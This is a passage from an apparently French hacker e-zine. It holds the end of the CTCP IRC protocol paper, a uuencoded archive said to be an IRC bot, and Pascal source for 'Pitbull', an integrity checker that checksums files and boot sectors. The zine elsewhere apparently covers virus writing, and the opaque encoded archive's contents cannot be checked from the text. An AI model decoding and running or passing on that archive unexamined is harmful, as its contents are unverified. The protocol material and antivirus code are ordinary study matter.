and sent in a NOTICE as it is a reply:

	NOTICE actor :\001USERINFO :CS student\n\\atest\\a\001

and low level quoted into

	NOTICE actor :\001USERINFO :CS student\020n\\atest\\a\001

after which is it sent to victim's server.

When arriving on actor's side, the message

	:victim NOTICE actor :\001USERINFO :CS student\020n\\atest\\a\001

gets low level dequoted into

	:victim NOTICE actor :\001USERINFO :CS student\n\\atest\\a\001

At this point, all CTCP replies get extracted, giving 1 CTCP reply and
no normal NOTICE

	USERINFO :CS student\n\\atest\\a

The remaining reply gets CTCP dequoted into

	USERINFO :CS student\n\001test\001

and presumly displayed to user actor.

*******************
KNOWN EXTENDED DATA
*******************

<To be written by msa? Should include something about X-DELIM X-DELIM,
ie CTCP message with empty tag, should translate into just X-DELIM in
message.> 

*************************
KNOWN REQUEST/REPLY PAIRS
*************************

A request/reply pair is sent between the two clients in two phases.
The first phase is to send the request. This is done with a "privmsg"
command (either to a nick or to a channel -- it doesn't matter).

The second phase is to send a reply. This is done with a "notice"
command.

The known request/reply pairs are for the following commands.

CLIENTINFO	- Dynamic master index of what a client knows
ERRMSG		- Used when an error needs to be replied with
FINGER		- Mainly used to get a users idle time
USERINFO	- A string set by the user (never client coder)
VERSION		- The version and type of the client

FINGER
This is used to get some data stored locally at a users system about
the user and also the idle time of the user. The request is in a
"privmsg" and looks like

	\001FINGER\001

while the reply is in a "notice" and looks like

	\001FINGER :#\001

where the # denotes contains information about the users real name,
login name at clientmachine and idle time and is of type X-N-AS.

VERSION
This is used to get information about the name of the other client and
the version of it. The request in a "privmsg" is simply

	\001VERSION\001

and the reply

	\001VERSION #:#:#\001

where the first # denotes the name of the client, the second # denotes
the version of the client, the third # the enviroment the client is
running in.

Using

	X-N-CLN	::= '\000' .. '\071' | '\073' .. '\377' 

the client name is a string of type X-N-CLN saying things like "Kiwi"
or "ircII", the version saying things like "5.2" or "2.1.5c", the
enviroment saying things like "GNU Emacs 18.57.19 under SunOS 4.1.1 on
Sun SLC" or "Compiled with gcc -ansi under Ultrix 4.0 on VAX-11/730".


SOURCE
This is used to get information about where to get a copy of the
client. The request in a "privmsg" is simply

	\001SOURCE\001

and the reply is zero or more CTCP replies of the form

	\001SOURCE #:#:#\001

followed by an end marker

	\001SOURCE\001

where the first # is the name of an Internet host where the client can
be gotten from with anonymous FTP the second # a directory names, and
the third # a space separated list of files to be gotten from that
directory.

Using

	X-N-SPC	::= '\000' .. '\037' | '\041' .. '\377' 

the name of the FTP site is to be given by name like "cs.bu.edu" or
"funic.funet.fi".

The file name field is a directory specification optionally followed
by one or more file names, delimited by spaces. If only a directory
name is given, all files in that directory should be copied when
retrieving the clients source. If some files are given, only those
files in that directpry should be copied. Note that the spcification
allows for all characters but space in the names, this includes
allowing :. Examples are "pub/emacs/irc/" to get all files in
directory pub/emacs/irc/, the client should be able to first login as
user "ftp" and the give the command "CD pub/emacs/irc/", followed by
the command "mget *". (It of course has to take care of binary and
prompt mode too). Another example is "/pub/irc Kiwi.5.2.el.Z" in which
case a "CD /pub/irc" and "get Kiwi.5.2.el.Z" is what should be done.


USERINFO
This is used to transmit a string which is settable by the user (and
never should be set by the client). The query is simply

	\001USERINFO\001

with the reply

	\001USERINFO :#\001

where the # is the value of the string the client's user has set.

CLIENTINFO
This is for client developers use to make it easier to show other
client hackers what a certain client knows when it comes to CTCP. The
replies should be fairly verbose explaining what CTCP commands are
understood, what arguments are expected of what type, and what replies
might be expected from the client.

The query is the word CLIENTINFO in a "privmsg" optionally followed by
a colon and one or more specifying words delimited by spaces, where
the word CLIENTINFO by itself,

	\001CLIENTINFO\001

should be replied to by giving a list of known tags (see above in
section TAGGED DATA). This is only intended to be read by humans.

With one argument, the reply should be a description of how to use
that tag. With two arguments, a description of how to use that
tag's subcommand. And so on.

ERRMSG
This is used as a reply whenever an unknown query is seen. Also, when
used as a query, the reply should echo back the text in the query,
together with an indication that no error has happened. Should the
query form be used, it is

	\001ERRMSG #\001

where # is a string containing any character, with the reply

	\001ERRMSG # :#\001

where the first # is the same string as in the query and the second #
a short text notifying the user that no error has occurred.

A normal ERRMSG reply which is sent when a corrupted query or some
corrupted extended data is received, looks like

	\001ERRMSG # :#\001

where the first # is the the failed query or corrupted extended data
and the second # a text explaining what the problem is, like "unknown
query" or "failed decrypting text".

********
EXAMPLES
********


Sending

	PRIVMSG victim :\001FINGER\001

might return

	:victim NOTICE actor :\001FINGER :Please check my USERINFO
	instead :Klaus Zeuge (sojge@mizar) 1 second has passed since
	victim gave a command last.\001

(this is only one line) or why not

	:victim NOTICE actor :\001FINGER :Please check my USERINFO
	instead :Klaus Zeuge (sojge@mizar) 427 seconds (7 minutes and
	7 seconds) have passed since victim gave a command last.\001

if Klaus Zeuge happens to be lazy? :-)

Sending

	PRIVMSG victim :CLIENTINFO

might return

	:victim NOTICE actor :CLIENTINFO :You can request help of the
	commands CLIENTINFO ERRMSG FINGER USERINFO VERSION by giving
	an argument to CLIENTINFO.

Sending

	PRIVMSG victim :CLIENTINFO CLIENTINFO

might return

	:victim NOTICE actor :CLIENTINFO :CLIENTINFO with 0
	arguments gives a list of known client query keywords. With 1
	argument, a description of the client query keyword is
	returned.

while sending

	PRIVMSG victim :clientinfo clientinfo

probaly will return something like

	:victim NOTICE actor :ERRMSG clientinfo clientinfo :Query is
	unknown

as tag "clientinfo" isn't known.

Sending

	PRIVMSG victim :CLIENTINFO ERRMSG

might return

	:victim NOTICE actor :CLIENTINFO :ERRMSG is the given answer
	on seeing an unknown keyword. When seeing the keyword ERRMSG,
	it works like an echo.

Sending

	PRIVMSG victim :\001USERINFO\001

might return the somewhat pathetically long

	:victim NOTICE actor :USERINFO :I'm studying computer
	science in Uppsala, I'm male (somehow, that seems to be an
	important matter on IRC:-) and I speak fluent swedish, decent
	german, and some english.

Sending

	PRIVMSG victim :\001VERSION\001

might return

	:victim NOTICE actor :\001VERSION Kiwi:5.2:GNU Emacs
	18.57.19 under SunOS 4.1.1 on Sun
	SLC:FTP.Lysator.LiU.SE:/pub/emacs Kiwi-5.2.el.Z
	Kiwi.README\001

if the client is named Kiwi of version 5.2 and is used under GNU Emacs
18.57.19 running on a Sun SLCwith SunOS 4.1.1. The client claims a
copy of it can be found with anonymous FTP on FTP.Lysator.LiU.SE after
giving the FTP command "cd /pub/emacs/". There, one should get files
Kiwi-5.2.el.Z and Kiwi.README; presumly one of the files tells how to
proceed with building the client after having gotten the files.
-----------------------------------------------------------------------------

<-- end CTCP.paper -->

Voila c'est tout pour l'instant. la prochaine fois on verra comment traiter une
liste d'utilisateur.

Voil dj une version uuencoder du bot precedent convertit en C++.
A noter qu'il a t un peu amliorer.
<-- cut here -->
begin 644 rtcbot.0.2.tar.gz
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
+E/\'EMYAS0!X````
`
end
<-- cut here -->
<--                           File by S/asH                                  -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					RTC-AV\Pibull
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Introduction
=============

	Cette fois, on ne va pas faire un virus, on va se placer dans l'autre camp. Pour cette premire, j'ai concoct un petit antivirus (bas, je dois le dire, sur un programme qui n'est pas de moi), un contrleur d'intgrit. Qu'est-ce qu'un contrleur d'intgrit? C'est un programme qui est charg de faire une liste de tous les excutables (ou mme d'autres fichiers si vous le voulez) avec quelques unes de leur caractristiques (date, taille, checksum). Ce genre de programme est trs facile  faire, mme pour quelqu'un qui ne connat pas les virus. Je vous donne le programme en Pascal, c'est la version 0.1 bta (ce qui ne veut pas dire qu'elle n'est pas termine mais qu'elle n'est pas de toute beaut).

Le code
========

--------------------------------CUT HERE--------------------------------

uses crt,dos,rtctools;

const
  max_entries=3000;
  max_cfg=10;

type
  Logrec_type=record
    name:string[200];
    time:longint;
    size:longint;
    checksum:longint;
    found:boolean;
    end;
  Cfg_type=record
    extension:string[6];
    OK:boolean;
    end;

var
  LstFile:text;

  LogFile:file of Logrec_type;
  LogEntries:longint;
  Log:array [1..max_entries] of ^Logrec_type;

  j:word;
  ExitCode:boolean;
  SearchDir:string;
  CurrDir:string;

  CfgFile:file of Cfg_type;
  CfgEntries:byte;
  Cfg:array [1..max_cfg] of ^Cfg_type;

function SearchLog(fname:string;var FN:word):boolean;
var j:word;
begin
  fname:=UpString(fname);
  if LogEntries>0 then for j:=1 to LogEntries do begin
    if fname=Log[j]^.Name then begin
      SearchLog:=true;
      FN:=j;
      exit;
    end;
  end;
  SearchLog:=false;
end;

function Get_Checksum(FName:string):longint;
var
  F:file;
  cs:longint;
  j,x:integer;
  buf:array [0..511] of byte;
begin
  cs:=0;
  assign(F,FName);
  {$I-}
  reset(F,1);
  {$I+}
  if IOResult<>0 then begin
    Get_Checksum:=0;
    textcolor(14);
    writeln('Ouaf! Ouaf! No checksum for this file!');
    textcolor(15);
    exit;
  end;
  repeat
    blockread(F,buf,512,x);
    if x>0 then for j:=0 to x-1 do cs:=cs+buf[j];
  until eof(F);
  close(F);
  Get_Checksum:=cs;
end;

procedure check_dir(dir:string);
  var
    SR:SearchRec;
    Checksum:longint;
    FN,i:word;
    cmd:char;
  procedure check_files(ext:string);
  begin
    FindFirst(dir+ext,AnyFile,SR);
    while DosError=0 do begin
      if SearchLog(dir+SR.name,FN) then begin
        Checksum:=Get_Checksum(dir+SR.name);
        if (Log[FN]^.time<>SR.time) or (Log[FN]^.size<>SR.size) or (Log[FN]^.checksum<>Checksum) then begin
          textcolor(14);
          writeln('Ouaf! Oauf! ',dir+SR.name,' has changed!');
          write(' Do you want to update its record? ');
          textcolor(15);
          write(LstFile,'Ouaf! Ouaf! ',dir+SR.name,' has changed! Update? ');
          repeat cmd:=UpCase(Readkey) until cmd in ['Y','N'];
          if cmd='Y' then begin
            Log[FN]^.time:=SR.time;
            Log[FN]^.size:=SR.size;
            Log[FN]^.Checksum:=Checksum;
            Log[FN]^.found:=true;
          end;
          writeln(cmd);
          writeln(LstFile,cmd);
        end else begin
          writeln(dir+SR.name,' validated.');
          Log[FN]^.found:=true;
        end;
      end else begin
        if LogEntries<max_entries then begin
          writeln('Ouaf! ',dir+SR.name,' in Pitbull''s log.');
          writeln(LstFile,'New file ',dir+SR.name,' in Pitbull''s log.');
          LogEntries:=LogEntries+1;
          new(Log[LogEntries]);
          Log[LogEntries]^.name:=dir+SR.name;
          Log[LogEntries]^.time:=SR.time;
          Log[LogEntries]^.size:=SR.size;
          Log[LogEntries]^.checksum:=Get_Checksum(dir+SR.name);
          Log[LogEntries]^.found:=true;
        end else begin
          textcolor(14);
          writeln('OUAF! OUAF! TOO MANY ENTRIES. COULD NOT ADD ',dir+SR.name,'.');
          textcolor(15);
          writeln(LstFile,'TOO MANY ENTRIES. COULD NOT ADD ',dir+SR.name,'.');
        end;
      end;
      FindNext(SR);
    end;
  end;

begin
  dir:=UpString(dir);

  for i:=0 to CfgEntries do if Cfg[i]^.OK then check_files(Cfg[i]^.extension);

  FindFirst('*.*',Directory,SR);
  while DosError=0 do begin
    if (SR.attr and Directory <>0) and (SR.name[1]<>'.') then begin
      ChDir(SR.name);
      check_dir(dir+SR.name+'\');
      ChDir('..');
    end;
    FindNext(SR);
  end;
end;

procedure check_boot;
var
  FN,j:word;
  cs:longint;
  buf:array [0..511] of byte;
  r:registers;
  cmd:char;
  currdrv:byte;
begin
  r.ah:=$19;
  intr($21,r);
  currdrv:=r.al;
  if currdrv>=2 then currdrv:=currdrv+$80-2;
  if currdrv=$80 then begin
    r.ax:=$201;
    r.bx:=ofs(buf);
    r.es:=sseg;
    r.cx:=1;
    r.dx:=$80;
    intr($13,r);
    r.ax:=$201;
    intr($13,r);
    cs:=0;
    for j:=0 to 511 do cs:=cs+buf[j];
    if SearchLog('**MBS',FN) then begin
      Log[FN]^.found:=true;
      if Log[FN]^.checksum=cs then writeln('Master Boot Sector verified.') else begin
        textcolor(14);
        write('Ouaf! Ouaf! Master Boot Sector has changed! Update? ');
        textcolor(15);
        write(LstFile,'Ouaf! Ouaf! Master Boot Sector has changed! Update? ');
        repeat cmd:=UpCase(Readkey) until cmd in ['Y','N'];
        if cmd='Y' then Log[FN]^.checksum:=cs;
        writeln(cmd);
        writeln(LstFile,cmd);
      end;
    end else begin
      writeln('Ouaf! Master Boot Sector data ADDED to log');
      writeln(LstFile,'Master Boot Sector data ADDED to log');
      LogEntries:=LogEntries+1;
      new(Log[LogEntries]);
      Log[LogEntries]^.name:='**MBS';
      Log[LogEntries]^.checksum:=cs;
      Log[LogEntries]^.found:=true;
    end;
    j:=$1BE;
    while (j<$1FE) and (buf[j]<>$80) do j:=j+$10;
    if buf[j]=$80 then begin
      r.dx:=buf[j]+256*buf[j+1];
      r.cx:=buf[j+2]+256*buf[j+3];
    end else exit;
  end else begin
    r.cx:=1;
    r.dx:=currdrv;
  end;
  if currdrv<$81 then begin
    r.ax:=$201;
    r.bx:=ofs(buf);
    r.es:=sseg;
    intr($13,r);
    r.ax:=$201;
    intr($13,r);
    cs:=0;
    for j:=0 to 511 do cs:=cs+buf[j];
    if SearchLog('**BOOT',FN) then begin
      Log[FN]^.found:=true;
      if Log[FN]^.checksum=cs then writeln('BootSector verified.') else begin
        textcolor(14);
        write('Ouaf! Ouaf! Boot Sector has changed! Update? ');
        textcolor(15);
        write(LstFile,'Ouaf! Ouaf! Boot Sector has changed! Update? ');
        repeat cmd:=UpCase(readkey) until cmd in ['Y','N'];
        if cmd='Y' then Log[FN]^.checksum:=cs;
        writeln(cmd);
        writeln(LstFile,cmd);
      end;
    end else begin
      writeln('Ouaf! Boot Sector data ADDED to log.');
      writeln(LstFile,'Boot Sector data ADDED to log.');
      LogEntries:=LogEntries+1;
      new(Log[LogEntries]);
      Log[LogEntries]^.name:='**BOOT';
      Log[LogEntries]^.checksum:=cs;
      Log[LogEntries]^.found:=true;
    end;
  end;
end;

procedure PurgeFile(j:word);
var
  cmd:char;
  i:word;
begin
  textcolor(14);
  writeln('Ouaf! Ouaf! ',Log[j]^.name,' was not found.');
  write(' Delete from Pibulll''s log? ');
  textcolor(15);
  write(LstFile,'Ouaf! Ouaf! ',Log[j]^.name,' was not found. Delete from Pitbull''s log?');
  repeat cmd:=UpCase(readkey) until cmd in ['Y','N'];
  if cmd='Y' then begin
    for i:=j to LogEntries-1 do Log[i]^:=Log[i+1]^;
    LogEntries:=LogEntries-1;
  end;
  writeln(cmd);
  writeln(LstFile,cmd);
end;

procedure Pitbull_wants_work(var ExitCode:boolean);

  function Is_in_list(ext:string):boolean;
  var
   k:byte;
   test:boolean;
  begin
    test:=false;
    for k:=0 to CfgEntries do test:=(Cfg[k]^.extension=ext) or test;
    Is_in_list:=test;
  end;

var
  i,j:byte;
  cmd:char;
  ext:string;
begin
  repeat
    clrscr;
    writeln;
    textcolor(9);
    writeln('        <<<<<< RTC-AV\Pitbull  version 0.1 bta >>>>>>');
    writeln('Pitbull, the integrity checker made by AndroGyne from RTC GAng');
    writeln;
    textcolor(15);
